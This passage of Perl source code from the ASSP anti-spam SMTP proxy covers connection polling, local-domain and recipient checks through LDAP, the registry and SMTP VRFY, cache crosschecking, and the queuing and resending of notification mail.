    $Con{$sslfh}->{myheaderCon} .= "X-Assp-Client-TLS: yes\r\n";
    $Stats{smtpConnTLS}++ unless $Con{$sslfh}->{relayok};
  } else {
    $Con{$friend}->{myheaderCon} .= "X-Assp-Server-TLS: yes\r\n";
  }
  &dopoll($sslfh,$readable,"POLLIN");
  &dopoll($sslfh,$writable,"POLLOUT");
  $Con{$oldfh}->{movedtossl} = 1;
  my $fno = $Con{$oldfh}->{fno} ;
  if (exists $ConFno{$fno}) {delete $ConFno{$fno};}
  delete $Fileno{$fno} if (exists $Fileno{$fno});
  $Con{$sslfh}->{fno} = fileno($sslfh);
  $Fileno{$Con{$sslfh}->{fno}} = $sslfh;
  d("info: switched connection from $oldfh to $sslfh");
}
# sendque enques a string for a socket
sub sendque {
    my ( $fh, $message ) = @_;
    my $outmessage = ref($message) ? $message : \$message;
    my $l=length($$outmessage);

    d("sendque: $fh $Con{$fh}->{ip} l=$l");
    return unless $fh && exists $Con{$fh};
    
    if (   $Con{$fh}->{type} eq 'C'       # is a client SMTP connection?
        && ($replyLogging == 2 or ($replyLogging == 1 && $$outmessage =~ /^[45]/o))
        && $$outmessage =~ /^[1-5]\d\d\s+[^\r\n]+\r\n$/o)    # is a reply?
    {
        my $what = 'Reply';
        $$outmessage =~ s/SESSIONID/$Con{$fh}->{msgtime}/go;
        $$outmessage =~ s/MYNAME/$myName/go;
        if ($$outmessage =~ /^([45])/o) {
            $what = ($1 == 5) ? 'Error' : 'Status';
        }
        my $reply = $$outmessage;
        $reply =~ s/\r?\n//o;
        mlog( $fh, "[SMTP $what] $reply", 1, 1 );
    }
    
    $writable->add($fh);
    $Con{$fh}->{outgoing} .= $$outmessage;
    if ( !$Con{$fh}->{paused}
        && length( $Con{$fh}->{outgoing} ) > $OutgoingBufSizeNew )
    {
        $Con{$fh}->{paused} = 1;
        d("pausing");
        $readable->remove( $Con{$fh}->{friend} );
    }
}
sub dopoll {
   my ($fh,$action,$mask) = @_ ;
   my $fno;
   $fh = $Con{$fh}->{self} if exists $Con{$fh} && $Con{$fh}->{self};
   $fh = $WebConH{$fh} if $WebConH{$fh};
   $fh = $StatConH{$fh} if $StatConH{$fh};
   if ($IOEngineRun == 0) {
       $fno = fileno($fh);
       eval{$action->mask($fh => $mask);};
       if ($@) {
           if (exists $WebConH{$fh} or exists $StatConH{$fh}) {
               &WebDone($fh);
           } else {
               done($fh);
           }
       } else {
           $action->[3]{$fh} = $fno if $fno;
       }
   } else {
       $action->add($fh);
   }
}

sub unpoll {
   my ($fh,$action) = @_ ;
   $fh = $Con{$fh}->{self} if $Con{$fh}->{self};
   if ($IOEngineRun == 0) {
       $fh = $Con{$fh}->{self} if $Con{$fh}->{self};
       $fh = $WebConH{$fh} if $WebConH{$fh};
       $fh = $StatConH{$fh} if $StatConH{$fh};

       eval{$action->mask($fh => 0);};

       if ($ConTimeOutDebug) {
           my $m = &timestring();
             my ($package, $file, $line) = caller;
           if ($Con{$fh}->{type} eq 'C'){
               $Con{$fh}->{contimeoutdebug} .= "$m client unpoll from $package $file $line\n" ;
           } else {
               $Con{$Con{$fh}->{friend}}->{contimeoutdebug} .= "$m server unpoll from $package $file $line\n" ;
           }
       }
       if (my $fno = $action->[3]{$fh}) {         # poll fd workaround
           delete $action->[3]{$fh};
           delete $action->[0]{$fno}{$fh};
           unless (%{$action->[0]{$fno}}) {
               delete $action->[0]{$fno};
               delete $action->[1]{$fno};
               delete $action->[2]{$fh};
           }
       }
   } else {
       if ($ConTimeOutDebug) {
           my $m = &timestring();
             my ($package, $file, $line) = caller;
           if ($Con{$fh}->{type} eq 'C'){
               $Con{$fh}->{contimeoutdebug} .= "$m client unselect from $package $file $line\n" ;
           } else {
               $Con{$Con{$fh}->{friend}}->{contimeoutdebug} .= "$m server ununselect from $package $file $line\n" ;
           }
       }
       $action->remove($fh);
   }
}

sub sigOK {
  my ($fh,$m,$done)=@_;
  my $this=$Con{$fh};
  my $server = $this->{friend};

 
 
 
  if (! $this->{addMSGIDsigDone} && $this->{relayok} && $DoMSGIDsig) { # add the MSGID Tag
  d('sigOK');
   
      if ($m =~ /(Message-ID\:[\r\n\s]*\<[^\r\n]+\>)/i) {       # if not already done
               
          my $msgid = $1;
          my $tag = MSGIDaddSig($fh,$msgid);
          if ($msgid ne $tag ) {
              $m =~ s/\Q$msgid\E/$tag/i;
              $this->{header} =~ s/\Q$msgid\E/$tag/i;
              $this->{maillength} = length($this->{header});
              $this->{addMSGIDsigDone};
          }

      }
  	}

          

  }

sub is_7bit_clean {
    return $_[0] !~ /[^\x20-\x7E\x0A\x0D]/os;
}



#####################################################################################
#                SMTP stuff

# compile the regular expression (RE) for the local domains list (LDRE)
sub setLDRE {
    SetRE( 'LDRE', "^($_[0])\$", "i", "Local Domains" );
}

# compile the regular expression (RE) for the vrfy domains list (VDRE)
sub setVDRE {
    SetRE( 'VDRE', "^($_[0])\$", "i", "VRFY Domains" );
}
# compile the regular expression (RE) for the local server names list (LSRE)
sub setLSRE {
    SetRE( 'LSRE', "^($_[0])\$", "i", "LocalHost" );
}



# returns true if this address is local (any local domain)
sub localmail {
  my $h = shift;
  d("localmail - $h");
  return 0 unless $h;
#(my $package, my $file, my $line, my $Subroutine, my $HasArgs, my $WantArray, my $EvalText, my $IsRequire) = caller(0);
#d("localmail - $package, $file, $line, $Subroutine, $HasArgs, $WantArray, $EvalText, $IsRequire");
  $h = $1 if $h=~/\@(.*)/o;

  return &localdomains($h);
}

# returns true if this address is in localdomains file or localDomains or LDAP
sub localdomains {
    my $h = shift;
    d("localdomains - $h");
    $h =~ tr/A-Z/a-z/;
    my $hat; $hat = $1 if $h =~ /(\@[^@]*)/o;
    $h = $1 if $h =~ /\@([^@]*)/o;

    return 1 if $h eq "assp.local";
    return 1 if $h eq "assp-nospam.org";

    my ($EBRD) = $EmailBlockReportDomain =~ /^\@*([^@]*)$/o;
    return 1 if ($EBRD && lc($h) eq lc($EBRD));

    return 1 if $localDomains && ( ($hat && $hat =~ /$LDRE/) || ($h && $h =~ /$LDRE/) );
    if ($localDomainsFile) {
        &check4update('localDomainsFile');
        return 1 if $localDomainsFile{$h};
    }
    return 1 if $CanUseRegistry && $DoLocalIMailDomains 
    							&& 	&localIMaildomain($h);
    return &localLDAPdomain($h);
}

sub localLDAPdomain {
  my $h = shift;
  d("localLDAPdomain - $h");
  $h =~ tr/A-Z/a-z/;
  return 1 if &LDAPCacheFind('@'.$h,'LDAP',1);
  return 0 unless $CanUseLDAP;
  return 0 unless $ldLDAP;
  my $ldapflt = $ldLDAPFilter;
  $ldapflt =~ s/DOMAIN/$h/go;
  my $ldaproot = $ldLDAPRoot || $LDAPRoot;
  $ldaproot =~ s/DOMAIN/$h/go;
  return LDAPQuery($ldapflt, $ldaproot,$h);
}

sub localIMaildomain {
  my $h = shift;
  d("localIMaildomain - $h $CanUseRegistry $DoLocalIMailDomains");
  return 0 unless $CanUseRegistry;
  return 0 unless $DoLocalIMailDomains;
  my ($hkey,$hkey2);
  d("about to open");
  if(!$HKEY_LOCAL_MACHINE->Open("Software\\Ipswitch\\IMail\\Domains",$hkey)) {
    d("localIMaildomain - failed to open domains key");
    return 0;
  }
  d("hkey: $hkey");
  if($hkey->Open($h,$hkey2)) {
    d("localIMaildomain - $h found in top level");
    $hkey2->Close();
    $hkey->Close();
 	return 1;
  }
  my @keys;
  if(!$hkey->GetKeys(\@keys)) {
    d("localIMaildomain - failed to GetKeys");
    $hkey->Close();
    return 0;
  }
  @keys = grep { /^\d\./ || /^\$virtual\d/ } @keys;
  d("localIMaildomain - $h searching aliases");
  foreach(@keys) {
    next unless $hkey->Open($_,$hkey2);
    my %values = ();
    $hkey2->GetValues(\%values);
    $hkey2->Close();
    if(($values{'Official'} && $values{'Offical'}->[2] =~ /^\Q$h\E$/i)
    || ($values{'Aliases'} && $values{'Aliases'}->[2] =~ /(?:^|\0)\Q$h\E(?:\0|$)/i)) 
    { 
      d("localIMaildomain - $h found in aliases/official for $_");
      $hkey->Close();
      return 1;
    }
  }
  d("localIMaildomain - $h not found");
  $hkey->Close();
  return 0;
 }

sub localvrfy2MTA {
  my ($fh,$h) = @_;
  d("localvrfy2MTA - $h");
  return 0 unless $DoVRFY;
  my $this;
  $this = $Con{$fh} if $fh;
  my $smtp;
  my $vrfy;
  my $expn;
  my $domain;
  my $MTA;
  my $forceRCPTTO;
  my $canvrfy;
  my $canexpn;
 $this->{prepend} = "";

  return 1 if &LDAPCacheFind($h,'VRFY');
  if (my $nf = $LDAPNotFound{$h}) {
      return 0 if (time - $nf < 300);
      delete $LDAPNotFound{$h};
  }

  $domain = $1 if $h=~/\@([^@]*)/o;
  return 0 unless $domain;

  my $MTAList = &matchHashKey('DomainVRFYMTA',$domain);
  return 0 unless $MTAList;


  my $timeout = $VRFYQueryTimeOut ? $VRFYQueryTimeOut : 5;
    eval{
    for my $MTA (split(/,/,$MTAList)) {
      eval{
      $smtp = Net::SMTP->new($MTA,
                        Hello => $myName,
                        Timeout => $timeout);
      } or next;
      if ($smtp) {
          $forceRCPTTO = ($VRFYforceRCPTTO && $MTA =~ /$VFRTRE/) ? 1 : 0;
          if (! $forceRCPTTO) {
              $canvrfy = exists ${*$smtp}{'net_smtp_esmtp'}->{'VRFY'};   # was VRFY in EHLO Answer?
              $canexpn = exists ${*$smtp}{'net_smtp_esmtp'}->{'EXPN'};   # was EXPN in EHLO Answer?
              if (!$canvrfy && !$canexpn &&   # there was no VRFY or EXPN in the EHLO Answer, or HELO was used
                  (exists ${*$smtp}{'net_smtp_esmtp'}->{'HELP'} or    # we can use HELP      or
                   ! exists ${*$smtp}{'net_smtp_esmtp'}) )            # only HELO was used - try HELP
              {
                      my $help = $smtp->help();
                      $canvrfy = $help =~ /VRFY/io;
                      $canexpn = $help =~ /EXPN/io;
              }
              if ($canvrfy) {$vrfy = $smtp->verify($h) ? 1 : $smtp->verify("\"$h\"");}
              if ($canexpn && ! $vrfy) {$expn = scalar($smtp->expand($h)) ? 1 : scalar($smtp->expand("\"$h\""));}
          } else {
              mlog($fh,"info: using RCPT TO: (skiped VRFY) for $h") if ($VRFYLog >= 2);
          }
          if (!$canvrfy && !$canexpn) {    # VRFY and EXPN are both not supported or VRFYforceRCPTTO is set for this MTA
              mlog($fh,"info: host $MTA does not support VRFY and EXPN (tried EHLO and HELP) - now using RCPT TO to verify $h") if ($VRFYLog >= 2 && ! $forceRCPTTO);
              if ($smtp->mail('postmaster@'.$myName)) {
                  $vrfy = $smtp->to($h);
              } else {
                  mlog($fh,"info: host $MTA does not accept 'mail from:postmaster\@$myName'") if $VRFYLog;
              }
          }
          $smtp->quit;
      }
      last if ($vrfy || $expn);
    }
  };
  if ($@ or ! $smtp) {
     $vrfy = 0 ;
     $expn = 0 ;
	 my $not =  $VRFYFail ? ' not' : '';
     if ($@){
         mlog($fh,"error: VRFY / RCPT TO failed on host $MTAList - address <$h>$not accepted - $@");
     } else {
         mlog($fh,"error: VRFY / RCPT TO failed on host $MTAList - address <$h>$not accepted");
     }

     $this->{userTempFail} = ! $VRFYFail if $this;

     return ! $VRFYFail;

  }
  
  if ($vrfy || $expn) {
     if ($ldaplistdb && $MaxLDAPlistDays) {
         $LDAPlist{$h}=time." 1";
         mlog($fh,"VRFY added $h to VRFY-/LDAPlist") if $VRFYLog ;
         d("VRFY added $h to VRFY-/LDAPcache");
     }
     delete $LDAPNotFound{$h};
     mlog($fh,"info: VRFY found $h") if $VRFYLog >= 2;
     return 1 ;
  } else {
     $LDAPNotFound{$h} = time if $MaxLDAPlistDays;
  }
  mlog($fh,"info: VRFY was unable to find $h") if $VRFYLog >= 2;
  return 0 ;

}

sub localmailaddress {
  my ($fh,$current_email) = @_;
  d("localmailaddress - $current_email");
  $current_email = &batv_remove_tag($fh,$current_email,'');
  $current_email =~ tr/A-Z/a-z/;
  my $at_position = index($current_email, '@');
  my $current_username = substr($current_email, 0, $at_position);
  my $current_domain = substr($current_email, $at_position + 1);
  my $ldapflt = $LDAPFilter;
  $ldapflt =~ s/EMAILADDRESS/$current_email/go;

  $ldapflt =~ s/USERNAME/$current_username/go;
  $ldapflt =~ s/DOMAIN/$current_domain/go;
  my $ldaproot = $LDAPRoot;
  $ldaproot =~ s/DOMAIN/$current_domain/go;
  if (!&localdomains($current_email) && $LocalAddresses_Flat && matchSL( $current_email, 'LocalAddresses_Flat' ) ) {
      $LDAPlist{'@'.$current_domain} = time." FLAT";
      return 1;
  }
  if (&LDAPCacheFind($current_email,'LDAP',1)) {
      $LDAPlist{'@'.$current_domain} = time." CACHE";
      return 1;
  }

  if($DoLDAP && $CanUseLDAP  && LDAPQuery($ldapflt, $ldaproot,$current_email)) {
      $LDAPlist{'@'.$current_domain} = time." LDAP" unless $LDAPoffline;
      return 1;
  }
  if($DoVRFY && (&matchHashKey('DomainVRFYMTA',$current_domain) )
             && $CanUseNetSMTP
             && $current_email =~ /[^@]+\@[^@]+/o
             && localvrfy2MTA($fh,$current_email))
  {
      $LDAPlist{'@'.$current_domain} = time if (! ($fh && $Con{$fh}->{userTempFail}) && $ldaplistdb);
      return 1;
  }
  return 0;
}

sub LDAPCacheFind {
  my ($current_email,$how, $nolog) = @_;
  d("LDAPCacheFind - $current_email , $how");
  return 0 unless $ldaplistdb;
  return 0 unless $MaxLDAPlistDays;
  $current_email = lc $current_email;
  if (exists $LDAPlist{$current_email}) {
    mlog(0,"$how - found $current_email in LDAPlist") if (${$how.'Log'} >=2);
    d("$how - found $current_email in LDAP-cache");
    my ($vt,$vl) = split(/ /o,$LDAPlist{$current_email});
    if ($vl) {
      $LDAPlist{$current_email}=time." $vl";
    } else {
      $LDAPlist{$current_email}=time;
    }
    return 1;
  }
  d("$how - not found $current_email in LDAP-cache");
  mlog(0,"$how - $current_email not found in LDAPlist") if (${$how.'Log'} >= 2)  && !$nolog;
  return 0;
}

sub LDAPQuery {
    my ( $ldapflt, $ldaproot, $current_email ) = @_;
    my $retcode;
    my $retmsg;


    my $mesg;
    my $entry_count;
    

   d("LDAPQuery - $ldapflt, $ldaproot, $current_email");
   $current_email = &batv_remove_tag(0,lc($current_email),'');

   return 1 if &LDAPCacheFind($current_email,'LDAP');
   if (my $nf = $LDAPNotFound{$current_email}) {
      return 0 if (time - $nf < 300);
      delete $LDAPNotFound{$current_email};
   }

    d("doing LDAP lookup with $ldapflt in $ldaproot");

    my @ldaplist = split( /\|/, $LDAPHost );
    my $ldaplist = \@ldaplist;
    my $scheme = 'ldap';
    my $ldap;
    eval{
      $scheme = 'ldaps' if ($DoLDAPSSL == 1 && $AvailIOSocketSSL);
      $ldap = Net::LDAP->new( $ldaplist,
                          timeout => $LDAPtimeout,
                          scheme => $scheme,
                          inet4 =>  1,
                          inet6 =>  $CanUseIOSocketINET6
                        );
      $ldap->start_tls() if ($DoLDAPSSL == 2 && $AvailIOSocketSSL);
    };

    if ( !$ldap ) {
    	$LDAPoffline=1;
        mlog( 0, "Couldn't contact LDAP server at $LDAPHost -- check ignored" );

        return !$LDAPFail;
    }

    # bind to a directory anonymous or with dn and password
    if ($LDAPLogin) {
        $mesg = $ldap->bind(
            $LDAPLogin,
            password => $LDAPPassword,
            version  => $LDAPVersion
        );
    } else {

        # mlog($fh,"LDAP anonymous bind");
        $mesg = $ldap->bind( version => $LDAPVersion );
    }
    $retcode = $mesg->code;
    my $retmsg;
    my $rettext;
    if ($retcode) {

        $retmsg=$mesg->error_text();
        $rettext = "Invalid credentials" if $retcode eq "49";
        #    mlog($fh,"LDAP bind error: $retcode - Login Problem?");
        mlog( 0, "LDAP bind error: $retcode -- $retmsg -- check ignored", 1 );

        $ldap->unbind;
        $LDAPoffline=1;
        return !$LDAPFail;
    }

    # perform a search
    $mesg = $ldap->search(
        base      => $ldaproot,
        filter    => $ldapflt,
        attrs     => ['cn'],
        sizelimit => 1
    );
    $retcode = $mesg->code;

    # mlog($fh,"LDAP search: $retcode");
    if ( $retcode > 0 && $retcode != 4 ) {
        mlog( 0, "LDAP search error: $retcode -- '$ldapflt' check ignored", 1 );

        $ldap->unbind;
        $LDAPoffline=1;
        return !$LDAPFail;
    }
    $LDAPoffline = 0;
  $entry_count = $mesg->count;
  $retmsg = $mesg->entry(1);
  mlog(0,"LDAP Results $ldapflt: $entry_count : $retmsg") if $LDAPLog;
  d("got $entry_count result(s) from LDAP lookup");
  $mesg = $ldap->unbind;  # take down session
  if($entry_count) {
     if($ldaplistdb && $MaxLDAPlistDays) {
         $LDAPlist{$current_email}=time;
         mlog(0,"LDAP added $current_email to LDAPlist") if $LDAPLog;
         d("added $current_email to LDAP-cache");
     }
     delete $LDAPNotFound{$current_email};
  } else {
     $LDAPNotFound{$current_email} = time if $MaxLDAPlistDays;
  }
  
  return $entry_count;
}

sub LDAPcrossCheck {
  my $k;
  my $v;
  my $current_email;
  my $at_position;
  my $current_username;
  my $current_domain;
  my $ldapflt;
  my $ldaproot;
  my $retcode;
  my $retmsg;
  my @ldaplist;
  my $ldaplist;
  my $ldap;
  my $mesg;
  my $entry_count;
  my $t;
  my $timeout = $VRFYQueryTimeOut ? $VRFYQueryTimeOut : 5;
  my $forceRCPTTO;

  if(! $ldaplistdb) {
      mlog(0,"warning: unable to do crosscheck - ldaplistdb is not configured");
      return;
  }

  $t = time;
  
  mlog(0,"LDAP/VRFY-crosscheck started") if $MaintenanceLog;
  d("doing LDAP/VRFY-crosscheck");

  @ldaplist = split(/\|/o,$LDAPHost);
  $ldaplist = \@ldaplist;

  if ($CanUseLDAP && $DoLDAP && @ldaplist) {
      my $scheme = 'ldap';
      my $ldap;
      eval{
      $scheme = 'ldaps' if ($DoLDAPSSL == 1 && $AvailIOSocketSSL);
      $ldap = Net::LDAP->new( $ldaplist,
                          timeout => $LDAPtimeout,
                          scheme => $scheme,
                          inet4 =>  1,
                          inet6 =>  $CanUseIOSocketINET6
                        );
      $ldap->start_tls() if ($DoLDAPSSL == 2 && $AvailIOSocketSSL);
      };

      if(! $ldap) {
        mlog(0,"Couldn't contact LDAP server at $LDAPHost -- no LDAP-crosscheck is done") if $MaintenanceLog;
      } else {
          if ($LDAPLogin) {
            $mesg = $ldap->bind($LDAPLogin, password => $LDAPPassword, version => $LDAPVersion);
          } else {
            $mesg = $ldap->bind( version => $LDAPVersion );
          }
          $retcode = $mesg->code;
          if ($retcode) {
            mlog(0,"LDAP bind error: $retcode -- no LDAP-crosscheck is done") if $MaintenanceLog;
            undef $ldap;
          }
      }
  }
  
  my $expire_only;
  
  while (my ($k,$v)=each(%LDAPlist)) {
    &MainLoop2() unless $isThreaded;  # only in V1
    $entry_count = 0;
    $expire_only = 0;
    $current_email = $k;
    my ($vt,$vl) = split(/ /o,$v);
    if($vl && $k !~ /^@/o) {  # do VRFY
        if ($DoVRFY && $CanUseNetSMTP) {

            my ($domain) = $k =~ /[^@]+\@([^@]+)/o;
            my $MTA = &matchHashKey('DomainVRFYMTA',lc $domain);

            $expire_only = 1;
            eval{
            $expire_only = 0;
            my $vrfy;
            my $expn;
            my $smtp = Net::SMTP->new($MTA,
                                 Hello => $myName,
                                 Timeout => $timeout);

            if ($smtp) {
      			$forceRCPTTO = ($VRFYforceRCPTTO && $MTA =~ ('('.$VFRTRE.')')) ? 1 : 0;
      			$forceRCPTTO = 1 if exists $MTAnoVRFY{lc $MTA};
      			if (! $forceRCPTTO) {
                    my $help = $smtp->help();
                    my $canvrfy = $help =~ /VRFY/i;
                    my $canexpn = $help =~ /EXPN/i;
                    if ($canvrfy) {$vrfy = $smtp->verify($k) ? 1 : $smtp->verify("\"$k\"");}
                    if ($canexpn && ! $vrfy) {$expn = scalar($smtp->expand($k)) ? 1 : scalar($smtp->expand("\"$k\""));}
                }
                if (!$expn && !$vrfy) {
                	$MTAnoVRFY{lc $MTA} = 1 if !$forceRCPTTO;
                    if ($smtp->mail('postmaster@'.$myName)) {
                    	$vrfy = $smtp->to($k);
 #                       $vrfy = $smtp->to("\"$k\"") unless $vrfy;
 
                    }
                }
                $smtp->quit;
                $entry_count = $vrfy || $expn;
            }
            } if $MTA;
            if ($@) {

               $expire_only = 1;
            }
        } else {
            $expire_only = 1;
        }
    } elsif ($ldap && $k !~ /^@/o) {   # do LDAP for addresses not for domains
        $expire_only = 0;

        $current_email =~ tr/A-Z/a-z/;
        $at_position = index($current_email, '@');
        $current_username = substr($current_email, 0, $at_position);
        $current_domain = substr($current_email, $at_position + 1);
        $ldapflt = $LDAPFilter;
        $ldapflt =~ s/EMAILADDRESS/$current_email/go;
        $ldapflt =~ s/USERNAME/$current_username/go;
        $ldapflt =~ s/DOMAIN/$current_domain/go;
        $ldaproot = $LDAPRoot;
        $ldaproot =~ s/DOMAIN/$current_domain/go;
# perform a search
        $mesg = $ldap->search(base   => $ldaproot,
                              filter => $ldapflt,
                              attrs => ['cn'],
                              sizelimit => 1
                              );
        $retcode = $mesg->code;
        if($retcode > 0 && $retcode != 4) {

          $expire_only = 1;
        }
        $entry_count = $expire_only ? 0 : $mesg->count;
    } else {
        $expire_only = 1;
    }

    if ($entry_count) {
        pbTrapDelete($k);

    }

    if (! $entry_count && ! $expire_only) { # entry was not found on LDAP/VRFY-server -> delete the cache entry
       delete($LDAPlist{$k});

       d("LDAP/VRFY-crosscheck: $k removed from LDAPlist - Results $ldapflt: $entry_count : $retmsg");
    } elsif ($MaxLDAPlistDays && $vt + $MaxLDAPlistDays * 24 * 3600 < $t) { # entry is to old -> delete the cache entry
       delete($LDAPlist{$k});

       d("LDAP/VRFY-crosscheck: $k removed from LDAPlist - entry is older than $MaxLDAPlistDays days");
    }
  }
  $mesg = $ldap->unbind if $ldap;  # take down session


  &SaveHash("LDAPlist");
}

sub serverIsSmtpDestination {
  my $server=shift;
  d('serverIsSmtpDestination');
  my $peeraddr=$server->peerhost().':'.$server->peerport();
  my $destination;
  foreach my $destinationA (split(/\|/o, $smtpDestination)) {
      if ($destinationA  =~ /^(_*INBOUND_*:)?(\d+)$/o){
          if ($crtable{$Con{$Con{$server}->{friend}}->{localip}}) {
              $destination=$crtable{$Con{$Con{$server}->{friend}}->{localip}};
          } else {
              $destination = $Con{$Con{$server}->{friend}}->{localip} .':'.$2;
          }
      } else {
          $destination = $destinationA;
      }
      return 1 if $peeraddr eq $destination || $peeraddr eq $destination.':25';
  }
  return 0;
}





sub sendNotification {
    my ($from,$to,$sub,$body,$file) = @_;
    my $text;
    if (! $from) {
        $from = 'ASSP <>';
        mlog(0,"*x*warning: 'EmailFrom' seems to be not configured - using '$from' as FROM: address");
    }
    if (! $to) {
        mlog(0,"*x*warning: TO: address not found for notification email - abort");
        return;
    }
    if (! $resendmail) {
        mlog(0,"*x*warning: 'resendmail' is not configured - abort notification");
        return;
    }
    my $date=$UseLocalTime ? localtime() : gmtime();
    my $tz=$UseLocalTime ? tzStr() : '+0000';
    $date=~s/(\w+) +(\w+) +(\d+) +(\S+) +(\d+)/$1, $3 $2 $5 $4/o;
    $text = "Date: $date $tz\r\n";
    $text .= "X-Assp-Notification: YES\r\n";
    $from =~ s/^\s+//o;
    $from =~ s/\s+$//o;
    if ($from !~ /\</o) {
        $text .= "From: <$from>\r\nTo:";
    } else {
        my ($t,$m) = split(/</o, $from);
        $m = '<' . $m;
        $t =~ s/^\s+//o;
        $t =~ s/\s+$//o;
        $t = encodeMimeWord($t,'Q','UTF-8') . ' ' if $t;
        $text .= "From: $t$m\r\nTo:";
    }
    foreach (split(/,|\|/o, $to)) {
        s/^\s+//o;
        s/\s+$//o;
        if ($_ !~ /\</o) {
            $text .= " <$_>,";
        } else {
            my ($t,$m) = split(/</o, $_);
            $m = '<' . $m;
            $t =~ s/^\s+//o;
            $t =~ s/\s+$//o;
            $t = encodeMimeWord($t,'B','UTF-8') . ' ' if $t;
            $text .= " $t$m,";
        }
    }
    chop $text;
    $text .= "\r\n";
    $sub = encodeMimeWord($sub,'B','UTF-8');
    $text .= "Subject: $sub\r\n";
    $text .= "MIME-Version: 1.0\r\n";
    $text .= "Content-Type: text/plain; charset=\"UTF-8\"\r\n";
    $text .= "Content-Transfer-Encoding: quoted-printable\r\n";
    my $msgid = $WorkerNumber . sprintf("%06d",$NotifyCount++) . int(rand(100));
    $text .= "Message-ID: a$msgid\@$myName\r\n";
    $text = headerWrap($text);
    $text .= "\r\n";           # end header
    my $sendbody;
    foreach (split(/\r?\n/o,$body)) {
        $sendbody .= ( $_ ? assp_encode_Q(Encode::encode('UTF-8',$_)) : '') . "\r\n";
    }
    my $f;
    if ($file && -e $file && (open($f,"<",$file))) {
        while (<$f>) {
             s/\r?\n$//o;
             $sendbody .= ( $_ ? assp_encode_Q(Encode::encode('UTF-8',$_)) : '') . "\r\n";
        }
        close $f;
    }
    $text .= $sendbody;
    my $rfile = "$base/$resendmail/n$msgid$maillogExt";
    if (open($f,">",$rfile)) {
        binmode $f;
        print $f $text;
        close $f;
        mlog(0,"*x*info: notification message queued to sent to $to") if $MaintenanceLog;
        $nextResendMail = $nextResendMail < time + 3 ? $nextResendMail : time + 3;
    } else {
        mlog(0,"*x*error: unable to write notify message to file $f - $!");
    }
}

# resend the files in Directory $resendmail
# leading '*x*' for mlog is used to prevent notification loops
# '*x*' is removed in sub mlog
sub resend_mail {
  return unless($resendmail);
  return unless($CanUseEMS);
  opendir(my $DMAIL,"$base/$resendmail");
  my @filelist;
  my $result;
  my @list = readdir($DMAIL);
  close $DMAIL;
  while ( my $file = shift @list) {
      next if -d "$base/$resendmail/$file";
      next if ($file !~ /$maillogExt$/i);
      push(@filelist, "$base/$resendmail/$file");
  }
  return unless(@filelist);
  while ( my $file  = shift @filelist) {
      my $hostCFGname;
      my $message = "\r\n";
      mlog(0,"*x*(re)send - try to open: $file") if $MaintenanceLog >= 2;
      next unless(open my $FMAIL,'<',"$file");
      while (<$FMAIL>) {
          s/\r?\n//go;
          $message .= "$_\r\n";
      }
      close $FMAIL;
      $message =~ s/[\r?\n]\.[\r?\n]+$/\r\n/so;
      my $count = exists $ResendFile{$file} ? "(try $ResendFile{$file}" : "(first time)";
      mlog(0,"*x*(re)send - process: $file $count") if $MaintenanceLog >= 2;
      my ($howF, $mailfrom);
      ($howF, $mailfrom) = ($1,$2)
        if ($message =~ /\n(X-Assp-Envelope-From:)[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?\s*\r?\n/sio);
      ($howF, $mailfrom) = ($1,$2)
        if (! $mailfrom && $message =~ /\n(from:)[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?\s*\r?\n/sio);
      if (! $mailfrom) {
          ($howF, $mailfrom) = ($1,$2)
             if ($message =~ s/\n(from:)\s*(ASSP <>)\s*\r?\n/\n/sio);
          if (! $mailfrom) {
              mlog(0,"*x*(re)send - $file - From: and X-Assp-Envelope-From: headertag not found");
              $message = "# (re)send - $file - From: and X-Assp-Envelope-From: headertag not found\r\n".$message;
              &resendError($file,\$message);
              next;
          }
      }


      my ($howT, $to);
      ($howT, $to) = ($1,$2)
        if ($message =~ /\n(X-Assp-Intended-For:)[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio);
      ($howT, $to) = ($1,$2)
        if (! $to && $message =~ /\n(to:)[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio);
      if (! $to) {
          mlog(0,"*x*(re)send - $file - To: and X-Assp-Intended-For: headertag not found - skip file");
          $message = "# (re)send - $file - To: and X-Assp-Intended-For: headertag not found - skip file\r\n".$message;
          &resendError($file,\$message);
          next;
      }
      if (lc $howT eq lc "X-Assp-Intended-For:") {
          $message =~ s/\nto:[^\<]*?<?$EmailAdrRe\@$EmailDomainRe>?\s*\r?\n/\n/sio;
          $message =~ s/X-Assp-Intended-For:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?\s*\r?\n/To: <$1>\r\n/sio;
      }

      my $islocal = localmail($to);
      if ($islocal && $ReplaceRecpt) {
            my ($mf) = $mailfrom =~ /($EmailAdrRe\@$EmailDomainRe)/o;
            my $newadr = RcptReplace($to,$mf,'RecRepRegex');
            if (lc $newadr ne lc $to) {
                $message =~ s/(\nto:[^\<]*?<?)$to(>?)/$1$newadr$2/is;
                mlog(0,"*x*(re)send - recipient $to replaced with $newadr");
            }
      }

      $message =~ s/^\r?\n//o;
      $message =~ s/(?:ReturnReceipt|Return-Receipt-To|Disposition-Notification-To):$HeaderValueRe//gios
            if ($removeDispositionNotification);

      mlog(0,"*x*(re)send - $file - $howF $mailfrom - $howT $to") if $MaintenanceLog >= 2;

      my $host = $smtpDestination;
      $hostCFGname = 'smtpDestination';
      if ($EmailReportDestination &&
          $islocal &&
          (($EmailFrom && $EmailFrom =~ /^$mailfrom$/i) || lc $mailfrom eq 'assp <>')
         )
      {
          mlog(0,"*x*(re)send - $file - using EmailReportDestination for local mail - From: $mailfrom - To: $to")
              if $MaintenanceLog >= 2;
          $host = $EmailReportDestination;
          $hostCFGname = 'EmailReportDestination';
      }

      if ($islocal && (my @bccRCPT = $message =~ /\nbcc:($HeaderValueRe)/igso)) {
          foreach my $bcc (@bccRCPT) {
              while ($bcc =~ /($EmailAdrRe\@$EmailDomainRe)/igos) {
                  my $addr = $1;
                  if ($ReplaceRecpt) {
                      my ($mf) = $mailfrom =~ /($EmailAdrRe\@$EmailDomainRe)/o;
                      my $newadr = RcptReplace($bcc,$mf,'RecRepRegex');
                      $newadr = '' if ! localmail($newadr);
                      if (lc $newadr ne lc $addr) {
                          $message =~ s/(\nbcc:(?:$HeaderValueRe)*?)$addr/$1$newadr/is;
                          mlog(0,"*x*(re)send - BCC - recipient $addr replaced with $newadr");
                      }
                  }
              }
          }
          $message =~ s/\nbcc:[\r\n\s]+($HeaderNameRe:)?/\n$1/iogs;
      }

      if (! $islocal && $relayHost) {
